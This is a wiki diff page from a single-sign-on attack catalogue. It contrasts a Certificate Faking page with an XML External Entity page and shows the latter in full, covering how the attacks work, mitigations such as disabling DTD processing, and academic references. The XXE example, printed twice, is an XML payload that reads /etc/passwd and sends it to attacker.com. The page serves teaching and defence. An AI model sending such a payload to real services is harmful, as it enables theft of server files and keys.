Certificate Faking and XML External Entity Attack: Difference between pages

From Single Sign-On Attacks
(Difference between pages)
Jump to navigation Jump to search
 
 
Line 1: Line 1:
=Attack description=
=Attack description=
The cryptographic verification of the digital signature guarantees the integrity of the token. Additionally, it is essential to verify the token’s authenticity, too. In other words, the ''Software-as-a-Service Cloud Provider (SaaS-CP)'' should check whether the token was signed by a trusted ''Identity Provider (IdP)''. The ''Certificate Faking (CF)'' attack utilizes possible flaws in the selection logic of the key used for the verification of tokens, by providing an attacker generated token signed by an attacker generated key.
XML offers the possibility to describe the document’s structure by using a [https://en.wikipedia.org/wiki/Document_type_definition ''Document Type Definition (DTD)'']. Unfortunately, the usage of these features can lead to security vulnerabilities enabling very efficient [https://en.wikipedia.org/wiki/Denial-of-service_attack ''Denial-of-Service attacks (DoS)''] or allowing unauthorized access to files stored on the target ''Software-as-a-Service Cloud Provider (SaaS-CP)'', for example, ''/etc/passwd'' or key files.
 
<br>
The attack targets the [https://en.wikipedia.org/wiki/Single_sign-on SSO] Verificator, which should verify that the authentication token is signed by a trusted third party instead of accepting any key provided with the token (although the XML Signature standard allows to include certificates, it is essential to verify whether it is a trusted certificate).
The attacker sends an XML document containing an Entity, which points to a file stored on the local filesystem. The vulnerable application parses
the XML document and processes the defined DTD. The DTD contains an External Entity reading a resource from the filesystem, in this case the ''/etc/passwd'' file, and sends the content to the attacker.
As a result the attacker breaks out of the usual processing schema and bypasses the security verification provided by the SSO-Verificator plus ''Authorization & Access Managment (AAM)'' and reads locally stored files.


=Attack subtypes=
=Attack subtypes=
There are no attack subtypes for this attack.
There are no attack subtypes for this attack.


=Prerequisites for attack=
=Prerequisites for attack=
In order to run the attack, the attacker must be able to create [http://www.sso-attacks.org/SAML SAML] tokens and sign them with his own self-created key.
In order to start ''XML External Entity attack (XXEA)'', the attacker only has to create a valid XML message containing a DTD. Note that the message does not have to be a [http://www.sso-attacks.org/SAML SAML] token


=Graphical representation of attack=
=Graphical representation of attack=
The [http://www.sso-attacks.org/SAML SAML] token is signed with an untrusted key. If the key stored in the token is used for the verification without validating the trust relationship to it, ''CF'' is applicable.
[[File:XEEA.jpg|centre]]
[[File:Certificate_Faking.jpg|center]]


=Attack example=
=Attack example=
The attacker creates a token ''t = (I, N, D)'', where ''I - Identity, N - Freshness and D - Destination''. Then, he creates a secret key ''evilKey'' and a corresponding public key. The secret key is used to compute the digital signature ''s = SIG_evilKey(t)''. The attacker then uses his key pair to create a certificate ''evilCert'' containing the corresponding public key to verify ''s''. SAML uses the XML Signature standard that allows to store ''evilCert'' directly within the XML Signature. If the target ''SaaS-CP'' uses ''evilCert'' to verify the signature ''s'' (without prior check of the trust relationship for the corresponding key), the token will be accepted as valid.
An example exploit is shown in Listing 1. The XML message contains two External Entities. The first Entity ('''file''') will read the content of the protected resource. The second Entity ('''send''') is used to send this content to a web server controlled by the attacker via a ''GET'' parameter. If the ''SaaS-CP'' reflects the content of the file Entity in the HTML response, which will be automatically displayed in the attacker’s browser, the send Entity is unnecessary. However, this is rarely the case for ''SAML'' token verification.
 
''XXEA'' allows an attacker to read arbitrary files within the context of the used web server. Particularly, it is possible to read configuration and SSL keystore files.
 
<source lang=xml>
 
<?xml version="1.0" encoding="utf-􀀀8"?>
<!DOCTYPE Response [
<!ENTITY file SYSTEM "/etc/passwd">
<!ENTITY send SYSTEM "http://attacker.com/?read=&file;">
]>
<samlp:Response>
  <attack>&send;</attack>
</samlp:Response>
 
</source>
Listing 1: XML message containing the XXE attack vector.
 
The listing only sketches the concept of the attack. The code as shown will not work on most XML parsers, because the usage of the External Entity file within the External Entity send is not allowed.


=Attack mitigation / countermeasures=
=Attack mitigation / countermeasures=
This attack can be mitigated by manually deploying the trusted certificates to the corresponding ''SaaS-CP'' and not using any certificates provided with the token.
The attack targets the [https://en.wikipedia.org/wiki/Single_sign-on ''Single Sign-On (SSO)''] Parser. To prohibit ''XXEA'', the processing of ''DTD''s should be disabled. XML Schema can be used to verify the structure of XML messages.


=Practical Attack Examples=
=Practical Attack Examples=
In 2014, Mainka et al. analyzed 22 Software as a Service cloud providers and found out that several frameworks were vulnerable to this attack, as shown in the picture bellow.
[[File:Study table.png|centre|200px]]




[[Category:Attack_Categorisation_By_Attacker_Model:_Message_generation_attacks]]
[[Category:Attack_Categorisation_By_Attacker_Model:_Message_generation_attacks]]
[[Category:Attack_Categorisation_By_Violated_Security_Objective_Access_Control]]
[[Category:Attack_Categorisation_By_Violated_Security_Objective_Confidentiality]]
[[Category:Attack_Categorisation_By_Attack_on_IdP/_SP:_Attack_on_SP]]
[[Category:Attack_Categorisation_By_Attack_on_IdP/_SP:_Attack_on_SP_and_IdP]]
[[Category:Attack_Categorisation_By_Attacked_Web_Service_Component:_Signature_Verification]]
[[Category:Attack_Categorisation_By_Attack_Spreading:Application_Specific_Flaws]]
[[Category:Attack_Categorisation_By_Attack_Spreading:Conceptual_Flaws]]
[[Category:Attack_Categorisation_By_Attacked_Web_Service_Component:_XML_Parser]]
[[Category:Attack_Categorisation_By_Attack_on_SAML]]


=References=
=References=
C. Mainka, V. Mladenov, F. Feldmann, J. Krautwald, J. Schwenk
C. Mainka, V. Mladenov, F. Feldmann, J. Krautwald, J. Schwenk (2014): Your Software at my Service: Security Analysis of SaaS Single Sign-On Solutions in the Cloud. In The ACM Cloud Computing Security Workshop (CCSW).<br>
(2014): Your Software at my Service: Security Analysis of SaaS Single
Andreas Falkenberg, Christian Mainka, Juraj Somorovsky, and Jorg Schwenk. A New Approach towards DoS Penetration Testing on Web Services. 2013 IEEE 20th International Conference on Web Services, 0:491–498, 2013.
Sign-On Solutions in the Cloud. In The ACM Cloud Computing Security
<br> [http://web-in-security.blogspot.de/2014/11/detecting-and-exploiting-xxe-in-saml.html Christian Mainka. Detecting and exploiting XXE in SAML Interfaces, 2014.]
Workshop (CCSW).
<br>
[http://ws-attacks.org/index.php/XML_External_Entity_DOS XML External Entity DOS]
<br>
[http://http://ws-attacks.org/index.php/XML_Entity_Expansion XML Entity Expansion]
<br>
[http://web-in-security.blogspot.de/2014/11/detecting-and-exploiting-xxe-in-saml.html Detecting and exploting XXE in Saml]

Revision as of 19:46, 7 January 2016

Attack description

XML offers the possibility to describe the document’s structure by using a Document Type Definition (DTD). Unfortunately, the usage of these features can lead to security vulnerabilities enabling very efficient Denial-of-Service attacks (DoS) or allowing unauthorized access to files stored on the target Software-as-a-Service Cloud Provider (SaaS-CP), for example, /etc/passwd or key files.
The attacker sends an XML document containing an Entity, which points to a file stored on the local filesystem. The vulnerable application parses the XML document and processes the defined DTD. The DTD contains an External Entity reading a resource from the filesystem, in this case the /etc/passwd file, and sends the content to the attacker. As a result the attacker breaks out of the usual processing schema and bypasses the security verification provided by the SSO-Verificator plus Authorization & Access Managment (AAM) and reads locally stored files.

Attack subtypes

There are no attack subtypes for this attack.

Prerequisites for attack

In order to start XML External Entity attack (XXEA), the attacker only has to create a valid XML message containing a DTD. Note that the message does not have to be a SAML token

Graphical representation of attack

Attack example

An example exploit is shown in Listing 1. The XML message contains two External Entities. The first Entity (file) will read the content of the protected resource. The second Entity (send) is used to send this content to a web server controlled by the attacker via a GET parameter. If the SaaS-CP reflects the content of the file Entity in the HTML response, which will be automatically displayed in the attacker’s browser, the send Entity is unnecessary. However, this is rarely the case for SAML token verification.

XXEA allows an attacker to read arbitrary files within the context of the used web server. Particularly, it is possible to read configuration and SSL keystore files.

<?xml version="1.0" encoding="utf-􀀀8"?>
<!DOCTYPE Response [
<!ENTITY file SYSTEM "/etc/passwd">
<!ENTITY send SYSTEM "http://attacker.com/?read=&file;">
]>
<samlp:Response>
  <attack>&send;</attack>
</samlp:Response>

Listing 1: XML message containing the XXE attack vector.

The listing only sketches the concept of the attack. The code as shown will not work on most XML parsers, because the usage of the External Entity file within the External Entity send is not allowed.

Attack mitigation / countermeasures

The attack targets the Single Sign-On (SSO) Parser. To prohibit XXEA, the processing of DTDs should be disabled. XML Schema can be used to verify the structure of XML messages.

Practical Attack Examples

In 2014, Mainka et al. analyzed 22 Software as a Service cloud providers and found out that several frameworks were vulnerable to this attack, as shown in the picture bellow.

References

C. Mainka, V. Mladenov, F. Feldmann, J. Krautwald, J. Schwenk (2014): Your Software at my Service: Security Analysis of SaaS Single Sign-On Solutions in the Cloud. In The ACM Cloud Computing Security Workshop (CCSW).
Andreas Falkenberg, Christian Mainka, Juraj Somorovsky, and Jorg Schwenk. A New Approach towards DoS Penetration Testing on Web Services. 2013 IEEE 20th International Conference on Web Services, 0:491–498, 2013.
Christian Mainka. Detecting and exploiting XXE in SAML Interfaces, 2014.
XML External Entity DOS
XML Entity Expansion
Detecting and exploting XXE in Saml